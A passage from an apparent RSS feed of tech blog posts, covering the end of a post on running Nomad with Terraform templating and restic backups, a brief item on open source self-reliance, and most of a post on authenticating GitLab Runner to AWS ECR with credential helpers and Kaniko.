<span class="giallo-l"><span>}</span></span></code></pre><h3 id="templating-env-variables">Templating Env Variables<a class="zola-anchor" href="#templating-env-variables" aria-label="Anchor link for: templating-env-variables">#</a></h3>
<p><strong>NOTE</strong>: This is <strong>not</strong> recommended for production.</p>
<p>Nomad doesn’t have any templating functionalities, so all the config must be sourced from Consul and secrets should be sourced from Vault. However in the time constraint I had, I wanted to understand Nomad and Consul better and use Vault at a <a rel="external" href="https://github.com/mr-karan/hydra/blob/master/docs/SETUP.md#vault">later stage</a>. I needed a way to interpolate the env variables. This is where Terraform comes into picture:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="hcl"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">resource</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;nomad_job&quot;</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;app&quot;</span><span> {</span></span>
<span class="giallo-l"><span>  jobspec</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> templatefile</span><span>(</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#D73A49, #F47067);">${</span><span>path</span><span style="color: light-dark(#D73A49, #F47067);">.</span><span>module</span><span style="color: light-dark(#D73A49, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">/conf/shynet.nomad</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>,</span><span> {</span></span>
<span class="giallo-l"><span>    shynet_django_secret_key</span><span style="color: light-dark(#D73A49, #F47067);">   =</span><span> var.shynet_django_secret_key,</span></span>
<span class="giallo-l"><span>    shynet_postgresql_password</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> var.shynet_postgresql_password</span></span>
<span class="giallo-l"><span>  }</span><span>)</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  hcl2</span><span> {</span></span>
<span class="giallo-l"><span>    enabled</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> true</span></span>
<span class="giallo-l"><span>  }</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>We can pass the variables from Terraform (which can be sourced by <code>TF_VAR_</code> in your local env) to the Nomad job spec. Inside the job spec we can use <code>env</code> to make it available to our task:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="hcl"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">env</span><span> {</span></span>
<span class="giallo-l"><span>  DB_PASSWORD</span><span style="color: light-dark(#D73A49, #F47067);">              =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#D73A49, #F47067);">${</span><span>shynet_postgresql_password</span><span style="color: light-dark(#D73A49, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>  DJANGO_SECRET_KEY</span><span style="color: light-dark(#D73A49, #F47067);">        =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#D73A49, #F47067);">${</span><span>shynet_django_secret_key</span><span style="color: light-dark(#D73A49, #F47067);">}</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>}</span></span></code></pre><h3 id="running-a-backup-job-on-the-host">Running a backup job on the host<a class="zola-anchor" href="#running-a-backup-job-on-the-host" aria-label="Anchor link for: running-a-backup-job-on-the-host">#</a></h3>
<p>I use <code>restic</code> to take periodic backups of my server and upload to Backblaze B2. Since Nomad supports running tasks as a different isolated environment (<code>chroot</code>) using <code>exec</code> driver and even without isolation using <code>raw_exec</code> driver, I wanted to give that a try. I’ve to resort using <code>raw_exec</code> driver here because <code>/data</code> file path on my host was not available to the chroot’ed environment.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="hcl"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">job</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;restic&quot;</span><span> {</span></span>
<span class="giallo-l"><span>  datacenters</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span> [</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">hydra</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span>]</span></span>
<span class="giallo-l"><span>  type</span><span style="color: light-dark(#D73A49, #F47067);">        =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">batch</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  periodic</span><span> {</span></span>
<span class="giallo-l"><span>    cron</span><span style="color: light-dark(#D73A49, #F47067);">             =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">0 3 * * *</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>    time_zone</span><span style="color: light-dark(#D73A49, #F47067);">        =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">Asia/Kolkata</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>    prohibit_overlap</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> true</span></span>
<span class="giallo-l"><span>  }</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">  ...</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">  task</span><span style="color: light-dark(#005CC5, #6CB6FF);"> &quot;backup&quot;</span><span> {</span></span>
<span class="giallo-l"><span>	  driver</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">raw_exec</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">	  config</span><span> {</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">		#</span><span style="color: light-dark(#6A737D, #768390);"> Since `/data` is owned by `root`, restic needs to be spawned as `root`. </span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">		#</span><span style="color: light-dark(#6A737D, #768390);"> `raw_exec` spawns the process with which `nomad` client is running (`root` i.e.).</span></span>
<span class="giallo-l"><span>		command</span><span style="color: light-dark(#D73A49, #F47067);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> &quot;</span><span style="color: light-dark(#032F62, #96D0FF);">$${NOMAD_TASK_DIR}/restic_backup.sh</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span></span>
<span class="giallo-l"><span>	  }</span></span>
<span class="giallo-l"><span>  }</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">  ...</span></span>
<span class="giallo-l"><span>}</span></span></code></pre>
<p>You can follow the rest of the config <a rel="external" href="https://github.com/mr-karan/hydra/blob/master/terraform/modules/restic/conf/restic.nomad">here</a>.</p>
<h2 id="scope-of-improvements">Scope of Improvements<a class="zola-anchor" href="#scope-of-improvements" aria-label="Anchor link for: scope-of-improvements">#</a></h2>
<p>Nomad has been an absolute joy to work with. However, I’ve spotted a few rough edge cases which I believe one should be aware of:</p>
<ul>
<li><code>host_network</code> property sometimes gets ignored when doing a modification to <code>service</code>. I’ve opened an <a rel="external" href="https://github.com/hashicorp/nomad/issues/10001">issue</a> upstream but looks like other people are facing similar behaviours <a rel="external" href="https://github.com/hashicorp/nomad/issues/10016">here</a> and <a rel="external" href="https://github.com/hashicorp/nomad/issues/9006">here</a>.</li>
<li><code>host_network</code> as of present <a rel="external" href="https://github.com/hashicorp/nomad/issues/8577">cannot</a> bind to a floating IP address (DigitalOcean/GCP etc). I’ve to resort to using my droplet’s public IPv4 address for now.</li>
<li>I tried using Consul Connect (service mesh with mTLS) but looks like again because of <code>host_network</code>, I’m <a rel="external" href="https://github.com/hashicorp/nomad/issues/9683">unable</a> to use it.</li>
<li>Nomad CLI can definitely be <a rel="external" href="https://github.com/hashicorp/nomad/issues/9441">improved</a> for a much more consistent experience. I particularly missed using <code>kubectl</code> when using <code>nomad</code>.</li>
</ul>
<p>That apart, I ended up sending a <a rel="external" href="https://github.com/hashicorp/nomad/pull/10026">PR</a> to upstream addressing a CLI arg ordering issue.</p>
<h3 id="gotchas">Gotchas:<a class="zola-anchor" href="#gotchas" aria-label="Anchor link for: gotchas">#</a></h3>
<ul>
<li>On a Nomad server <em>already</em> bootstrapped, if you try changing <code>server.bind_addr</code>, it won’t have any effect. I almost pulled my hair debugging this, ultimately deleting the <code>data_dir</code> of the server resolved the issue for me.</li>
<li>I’m running DB <em>and</em> the App together as a single “group” in my setup configs. Don’t do this in production. Whenever you restart the job, the group will restart both the containers. The side effect of this is pretty interesting: Since we use Consul to fetch the DB Host, the app may start before the DB boots up <em>and</em> registers its new address with Consul. I will fix the dependency in a future version but since I’m running fewer workloads and there are automatic retries, it’s okay enough for me to keep it like this.</li>
</ul>
<h2 id="community">Community<a class="zola-anchor" href="#community" aria-label="Anchor link for: community">#</a></h2>
<p>Nomad’s community is pretty small compared to Kubernetes. However, the folks are super responsive on <a rel="external" href="https://gitter.im/hashicorp-nomad/Lobby">Gitter</a>, <a rel="external" href="https://discuss.hashicorp.com/">Discourse</a> and Github Issues. A few noteworthy mentions:</p>
<ul>
<li><a rel="external" href="https://github.com/the-maldridge">@the-maldridge</a> helped me with my doubts in Gitter.</li>
<li><a rel="external" href="https://github.com/tgross">@tgross</a> who is super responsive on Github issues and does an excellent job at housekeeping the issues.</li>
<li><a rel="external" href="https://github.com/shantanugadgil">@shantanugadgil</a> who is also pretty active in the community.</li>
</ul>
<p>Nomad’s ecosystem is still in its nascent stage and I believe there are a lot of contribution opportunities for folks interested in Golang, Ops, Distributed Systems to contribute to Nomad. The codebase of Nomad is approachable and there are quite a few key areas which can be contributed to:</p>
<ul>
<li>Docs: More examples, practical use cases.</li>
<li>Nomad Job files: There are many helm charts available to follow best practices. Something similar in Nomad will definitely be interesting.</li>
<li>Nomad Gotchas: Since K8s is widely used and has a much larger adoption, it’s only natural that the failure stories of K8s are highlighted a lot. Nomad being a pretty smaller community, we need more debugging and “things that went wrong” reference materials. You learn more from failures than 101 setup guides :)</li>
</ul>
<h2 id="final-thoughts">Final Thoughts<a class="zola-anchor" href="#final-thoughts" aria-label="Anchor link for: final-thoughts">#</a></h2>
<p>I think I’m <em>sold</em> on Nomad. I’ve used Kubernetes in prod for 2 years but if you were to ask me to write a Deployment spec from scratch (without Googling/kubectl help) I won’t be able to. After writing Nomad configs, I just can’t think of the sheer amount of boilerplate that K8s requires to get an application running.</p>
<p>Nomad is also a simpler piece to keep in your tech stack. Sometimes it’s best to keep things simple when you don’t really achieve any benefits from the complexity.</p>
<p>Nomad offers <em>less</em> than Kubernetes and it’s a feature, not a bug.</p>
<p>Fin!</p>
<h4 id="discussions">Discussions<a class="zola-anchor" href="#discussions" aria-label="Anchor link for: discussions">#</a></h4>
<ul>
<li><a rel="external" href="https://news.ycombinator.com/item?id=26142005">HackerNews</a></li>
<li><a rel="external" href="https://lobste.rs/s/bybybm/running_nomad_for_home_server">Lobster</a></li>
<li><a rel="external" href="https://twitter.com/mitchellh/status/1361361025568698368">Twitter</a></li>
</ul>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[The "Atmanirbharta" of open source software]]></title>
            <link>https://nadh.in/blog/the-atmanirbhartha-of-open-source-software/</link>
            <guid isPermaLink="false">https://nadh.in/blog/the-atmanirbhartha-of-open-source-software/</guid>
            <pubDate>Sat, 30 Jan 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[In the Indian startup circles, Atmanirbhar (self-reliance) is the word of the year. Technology startups of all shapes and sizes, “unicorns” and non-unicorns have incorporated the tri colour and the Made in India label into their brand messaging and advertising campaigns—marketing prowess and valuations built on top of rapid innovation enabled by Free and Open Source Software (FOSS) created all over the world by countless programmers volunteering their time and effort writing code for everyone to solve problems and build enterprises. Linux, the quintessential example of FOSS, if quantified, would turn out to have created trillions of dollars in value for humanity.]]></description>
            <content:encoded><![CDATA[<p>In the Indian startup circles, <em>Atmanirbhar</em> (self-reliance) is the word of the year. Technology startups of all shapes and sizes, “unicorns” and non-unicorns have incorporated the tri colour and the Made in India label into their brand messaging and advertising campaigns—marketing prowess and valuations built on top of rapid innovation enabled by Free and Open Source Software (FOSS) created all over the world by countless programmers volunteering their time and effort writing code for everyone to solve problems and build enterprises. Linux, the quintessential example of FOSS, if quantified, would turn out to have created trillions of dollars in value for humanity.</p>]]></content:encoded>
            <author>Kailash Nadh</author>
        </item>
        <item>
            <title><![CDATA[Setup Gitlab Runner with AWS ECR]]></title>
            <link>https://mrkaran.dev/posts/gitlab-runner-ecr/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/gitlab-runner-ecr/</guid>
            <pubDate>Fri, 29 Jan 2021 02:40:55 GMT</pubDate>
            <description><![CDATA[There are some things you expect to just work. Sadly trying to make Gitlab Runner with AWS ECR turned out to be quite a daunting task and the little documentation in this area doesn’t help. There’s even a 4 years old issue and everyone there is echoing the sentiment that this is unnecessarily a lot harder than it should have been.
Anyway, since I spent a lot of time figuring out how to make a Private Registry work with a cross-account ECR, I’m documenting these steps hoping it’ll help someone someday :).
The Problem#
There are mainly 2 seemingly same but different problems when it comes to using ECR. Let’s discuss both of them separately:
Pulling a private image from ECR using the Docker Executor. For eg, if your gitlab-ci.yml looks like:
test-pull:
  image: $PRIVATE_ECR_IMAGE
  script:
    - echo "Hello World!"
In this case, the Docker Executor needs to be “authenticated” to AWS ECR so that it can pull $PRIVATE_ECR_IMAGE.
Pulling a private image inside the job. For eg, if you’re using Kaniko:
docker-build:
  image: gcr.io/kaniko-project/executor:debug
  script:
    - |
      /kaniko ...
      # Inside this step, we use a PRIVATE_ECR_IMAGE defined in our `Dockerfile`.
In this case, Kaniko needs to be “authenticated” to AWS ECR so that it can pull $PRIVATE_ECR_IMAGE.
NOTE I prefer Kaniko over DIND as it is faster, doesn’t require running the privileged container, caching is simplified, and is in general a lot simpler to setup.
The Solution#
So, for the first case, where you want to authenticate the Docker Executor to AWS ECR, you’ll need 2 things:
Setup DOCKER_AUTH_CONFIG environment variable to  { "credsStore": "ecr-login" } in the config.toml of the runner. For eg:
[[runners]]
  name = "Test"
  url = "https://gitlab.internal/"
  token = "REDACTED"
  executor = "docker"
  environment = ["DOCKER_AUTH_CONFIG={ \"credsStore\": \"ecr-login\" }"]
Now, we’ve specified the Credential Store for Docker, but we don’t have this binary docker-credential-ecr-login in our runner. AWS provides amazon-ecr-credential-helper which is a neat way of automatically authenticating with AWS ECR based on your Access Keys/IAM role. What does automatic mean here? So, the normal docker login is a basic auth command, where if you’ve to log in to ECR, you need to do something like:
aws ecr get-login-password --region region | docker login --username AWS --password-stdin aws_account_id.dkr.ecr.region.amazonaws.com
This is problematic because the authorization token is valid for 12 hours. Further, you’ve to log in to multiple registry IDs separately. Managing this is a nightmare, so Docker instead of just relying on Basic Auth, came up with a neat mechanism: docker-credential-helpers. This allows you to keep your secret tokens in your Keystore. A new credential helper can be written in Go which implements the credentials.Helper interface. This is what amazon-ecr-credential-helper does by offering various ways like AWS IAM Roles, Assumed Roles, Access Keys, etc to authenticate with ECR.
This is where I stumbled the most. I downloaded the binary from the Github Releases but this binary is statically compiled with muslc libraries.
However gitlab/gitlab-runner is based on the ubuntu docker image, so the above binary never worked. The strangest thing was the unhelpful error message that sh returned as explained in this post.
To make things easier, I baked my own gitlab-runner image with the above binary compiled inside the image
using go get:
FROM ubuntu:20.04 AS build
ENV DEBIAN_FRONTEND=noninteractive 
RUN : \
 && apt-get update \
 && apt-get install --no-install-recommends -y git golang-go ca-certificates \
 && rm -rf /var/lib/apt/lists/* \
;
RUN go get -u github.com/awslabs/amazon-ecr-credential-helper/ecr-login/cli/docker-credential-ecr-login
WORKDIR /build
RUN mv /root/go/bin/docker-credential-ecr-login .

FROM gitlab/gitlab-runner:v13.8.0 AS deploy
COPY --from=build /build/docker-credential-ecr-login /usr/local/bin/docker-credential-ecr-login
The above image bakes in the docker-credential-ecr-login binary and also puts it under /usr/local/bin so it’ll be available under $PATH to the Docker engine.
With the above 2 things, if the runner’s server (EC2 instance/K8s pod) has access to the ECR image, it should be able to pull.
Now coming to the 2nd problem, where we wanted kaniko to authenticate to ECR, things are a bit simpler:
Kaniko comes with docker-credential-ecr-login baked in. All you need to do is add the following to ~/.docker/config.json as explained here.
{ "credsStore": "ecr-login" }
Next, we need to mount the AWS Credentials to Kaniko’s image so that it can use AWS SDK to perform a login to ECR. We do that by using volumes of the runner:
[runners.docker]
volumes = ["/home/ubuntu/runners/test/aws-credentials:/root/.aws/credentials:ro"]
This mounts the aws-credentials file from the host inside the container which the runner spawned (kaniko in this case).
A sample aws-credentials file if you’re using a cross-account access can look like:
[default]
role_arn=arn:aws:iam::ACCOUNT_ID:role/assume-role-{{ROLE_NAME}}
credential_source=Ec2InstanceMetadata
region=ap-south-1
You can put in your normal AWS Keys or leave them blank if you want to use your IAM Role. With mounting the AWS Credentials inside Kaniko’s container, you can authenticate to cross-account ECRs as well (once you set up the whole assumed-role/trusted entities flow).
Sample Runner#
If you want to take a look at how the complete flow looks like:
Start the Runner service using docker-compose:
version: '3.7'

services:

  test:
    # As explained above, this image has `docker-credentials-ecr-login` baked in.
    image: {{ACCOUNT_ID}.dkr.ecr.ap-south-1.amazonaws.com/custom/gitlab-runner:13.8.0
    restart: always
    volumes:
      # Automatically created; config.toml.
      - './test/runner-config:/etc/gitlab-runner'
      # Mount AWS Credentials for Docker Executor to authenticate.
      - './test/aws-credentials:/root/.aws/credentials:ro'
      # Mount Docker Socket so that executor can communicate with it.
      - '/var/run/docker.sock:/var/run/docker.sock'
Register a new runner:
docker-compose exec test register
Fill in the basic info and edit ./test/runner-config.toml with the following options:
[[runners]]
  name = "Test"
  executor = "docker"
  environment = ["DOCKER_AUTH_CONFIG={ \"credsStore\": \"ecr-login\" }"]
  [runners.docker]
    volumes = ["/home/ubuntu/runners/test/aws-credentials:/root/.aws/credentials:ro"]
Conclusion#
Honestly, this was a lot of trial and error to figure out how to use private images with Gitlab. Some important links and references that helped me figure this out:
https://gitlab.com/bmares/gitlab-runner-ecr-auth-example/
https://gitlab.com/gitlab-org/gitlab-runner/-/issues/1583#note_84649153
Fin!]]></description>
            <content:encoded><![CDATA[<p>There are some things you expect to just work. Sadly trying to make <a rel="external" href="https://docs.gitlab.com/runner/">Gitlab Runner</a> with <a rel="external" href="https://aws.amazon.com/ecr/">AWS ECR</a> turned out to be quite a daunting task and the little documentation in this area doesn’t help. There’s even a 4 years old <a rel="external" href="https://gitlab.com/gitlab-org/gitlab-runner/-/issues/1583">issue</a> and everyone there is echoing the sentiment that this is unnecessarily a lot harder than it should have been.</p>
<p>Anyway, since I spent a lot of time figuring out how to make a Private Registry work with a cross-account ECR, I’m documenting these steps hoping it’ll help someone someday :).</p>
<h3 id="the-problem">The Problem<a class="zola-anchor" href="#the-problem" aria-label="Anchor link for: the-problem">#</a></h3>
<p>There are mainly 2 seemingly same but different problems when it comes to using ECR. Let’s discuss both of them separately:</p>
<ul>
<li>Pulling a private image from ECR using the Docker Executor. For eg, if your <code>gitlab-ci.yml</code> looks like:</li>
</ul>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">t</span><span style="color: light-dark(#22863A, #8DDB8C);">est-pull</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  i</span><span style="color: light-dark(#22863A, #8DDB8C);">mage</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> $</span><span style="color: light-dark(#032F62, #96D0FF);">PRIVATE_ECR_IMAGE</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  s</span><span style="color: light-dark(#22863A, #8DDB8C);">cript</span><span>:</span></span>
<span class="giallo-l"><span>    -</span><span style="color: light-dark(#032F62, #96D0FF);"> e</span><span style="color: light-dark(#032F62, #96D0FF);">cho &quot;Hello World!&quot;</span></span></code></pre>
<p>In this case, the Docker Executor needs to be “authenticated” to AWS ECR so that it can pull <code>$PRIVATE_ECR_IMAGE</code>.</p>
<ul>
<li>Pulling a private image <em>inside</em> the job. For eg, if you’re using Kaniko:</li>
</ul>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">d</span><span style="color: light-dark(#22863A, #8DDB8C);">ocker-build</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  i</span><span style="color: light-dark(#22863A, #8DDB8C);">mage</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> g</span><span style="color: light-dark(#032F62, #96D0FF);">cr.io/kaniko-project/executor:debug</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  s</span><span style="color: light-dark(#22863A, #8DDB8C);">cript</span><span>:</span></span>
<span class="giallo-l"><span>    -</span><span style="color: light-dark(#D73A49, #F47067);"> |</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">      /kaniko ...</span></span>
<span class="giallo-l"><span style="color: light-dark(#032F62, #96D0FF);">      # Inside this step, we use a PRIVATE_ECR_IMAGE defined in our `Dockerfile`.</span></span></code></pre>
<p>In this case, <a rel="external" href="https://github.com/GoogleContainerTools/kaniko/">Kaniko</a> needs to be “authenticated” to AWS ECR so that it can pull <code>$PRIVATE_ECR_IMAGE</code>.</p>
<p><strong>NOTE</strong> I prefer Kaniko over <a rel="external" href="https://docs.gitlab.com/ee/ci/docker/using_docker_build.html">DIND</a> as it is faster, doesn’t require running the privileged container, caching is simplified, and is in general a lot simpler to setup.</p>
<h3 id="the-solution">The Solution<a class="zola-anchor" href="#the-solution" aria-label="Anchor link for: the-solution">#</a></h3>
<p>So, for the first case, where you want to authenticate the Docker Executor to AWS ECR, you’ll need 2 things:</p>
<ol>
<li>Setup <code>DOCKER_AUTH_CONFIG</code> environment variable to  <code>{ "credsStore": "ecr-login" }</code> in the <code>config.toml</code> of the runner. For eg:</li>
</ol>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>[[runners]]</span></span>
<span class="giallo-l"><span>  name = &quot;Test&quot;</span></span>
<span class="giallo-l"><span>  url = &quot;https://gitlab.internal/&quot;</span></span>
<span class="giallo-l"><span>  token = &quot;REDACTED&quot;</span></span>
<span class="giallo-l"><span>  executor = &quot;docker&quot;</span></span>
<span class="giallo-l"><span>  environment = [&quot;DOCKER_AUTH_CONFIG={ \&quot;credsStore\&quot;: \&quot;ecr-login\&quot; }&quot;]</span></span></code></pre>
<ol start="2">
<li>Now, we’ve specified the Credential Store for Docker, but we don’t have this binary <code>docker-credential-ecr-login</code> in our runner. AWS provides <a rel="external" href="https://github.com/awslabs/amazon-ecr-credential-helper">amazon-ecr-credential-helper</a> which is a neat way of automatically authenticating with AWS ECR based on your Access Keys/IAM role. What does automatic mean here? So, the normal <code>docker login</code> is a basic auth command, where if you’ve to log in to ECR, you need to do something like:</li>
</ol>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">aws</span><span style="color: light-dark(#032F62, #96D0FF);"> ecr</span><span style="color: light-dark(#032F62, #96D0FF);"> get-login-password</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-region</span><span style="color: light-dark(#032F62, #96D0FF);"> region</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> docker</span><span style="color: light-dark(#032F62, #96D0FF);"> login</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-username</span><span style="color: light-dark(#032F62, #96D0FF);"> AWS</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">-password-stdin</span><span style="color: light-dark(#032F62, #96D0FF);"> aws_account_id.dkr.ecr.region.amazonaws.com</span></span></code></pre>
<p>This is problematic because the authorization token is valid for 12 hours. Further, you’ve to log in to multiple registry IDs separately. Managing this is a nightmare, so Docker instead of just relying on Basic Auth, came up with a neat mechanism: <a rel="external" href="https://github.com/docker/docker-credential-helpers">docker-credential-helpers</a>. This allows you to keep your secret tokens in your Keystore. A new credential helper can be written in <code>Go</code> which implements the <code>credentials.Helper</code> interface. This is what <a rel="external" href="https://github.com/awslabs/amazon-ecr-credential-helper">amazon-ecr-credential-helper</a> does by offering various ways like AWS IAM Roles, Assumed Roles, Access Keys, etc to authenticate with ECR.</p>
<p>This is where I stumbled the most. I downloaded the binary from the <a rel="external" href="https://github.com/awslabs/amazon-ecr-credential-helper/releases/tag/v0.4.0">Github Releases</a> but this binary is statically compiled with <code>muslc</code> libraries.</p>
<p>However <code>gitlab/gitlab-runner</code> is based on the <code>ubuntu</code> docker image, so the above binary never worked. The strangest thing was the unhelpful error message that <code>sh</code> returned as explained in this <a rel="external" href="https://forum.gitlab.com/t/bin-sh-eval-line-97-mybinary-not-found/27125/3">post</a>.</p>
<p>To make things easier, I baked my own <code>gitlab-runner</code> image with the above binary compiled inside the image
using <code>go get</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="docker"><span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">FROM</span><span> ubuntu:20.04 </span><span style="color: light-dark(#D73A49, #F47067);">AS</span><span> build</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">ENV</span><span> DEBIAN_FRONTEND=noninteractive </span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">RUN</span><span> : \</span></span>
<span class="giallo-l"><span> &amp;&amp; apt-get update \</span></span>
<span class="giallo-l"><span> &amp;&amp; apt-get install --no-install-recommends -y git golang-go ca-certificates \</span></span>
<span class="giallo-l"><span> &amp;&amp; rm -rf /var/lib/apt/lists/* \</span></span>
<span class="giallo-l"><span>;</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">RUN</span><span> go get -u github.com/awslabs/amazon-ecr-credential-helper/ecr-login/cli/docker-credential-ecr-login</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">WORKDIR</span><span> /build</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">RUN</span><span> mv /root/go/bin/docker-credential-ecr-login .</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">FROM</span><span> gitlab/gitlab-runner:v13.8.0 </span><span style="color: light-dark(#D73A49, #F47067);">AS</span><span> deploy</span></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">COPY</span><span> --from=build /build/docker-credential-ecr-login /usr/local/bin/docker-credential-ecr-login</span></span></code></pre>
<p>The above image bakes in the <code>docker-credential-ecr-login</code> binary and also puts it under <code>/usr/local/bin</code> so it’ll be available under <code>$PATH</code> to the Docker engine.</p>
<p>With the above 2 things, if the runner’s server (EC2 instance/K8s pod) has access to the ECR image, it should be able to pull.</p>
<p>Now coming to the 2nd problem, where we wanted <code>kaniko</code> to authenticate to ECR, things are a bit simpler:</p>
<ul>
<li>Kaniko comes with <code>docker-credential-ecr-login</code> baked in. All you need to do is add the following to <code>~/.docker/config.json</code> as explained <a rel="external" href="https://github.com/GoogleContainerTools/kaniko/blob/master/README.md#pushing-to-amazon-ecr">here</a>.</li>
</ul>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>{ &quot;credsStore&quot;: &quot;ecr-login&quot; }</span></span></code></pre>
<p>Next, we need to mount the AWS Credentials to Kaniko’s image so that it can use AWS SDK to perform a login to ECR. We do that by using <code>volumes</code> of the <code>runner</code>:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>[runners.docker]</span></span>
<span class="giallo-l"><span>volumes = [&quot;/home/ubuntu/runners/test/aws-credentials:/root/.aws/credentials:ro&quot;]</span></span></code></pre>
<p>This mounts the <code>aws-credentials</code> file from the host inside the container which the runner spawned (<code>kaniko</code> in this case).</p>
<p>A sample <code>aws-credentials</code> file if you’re using a cross-account access can look like:</p>
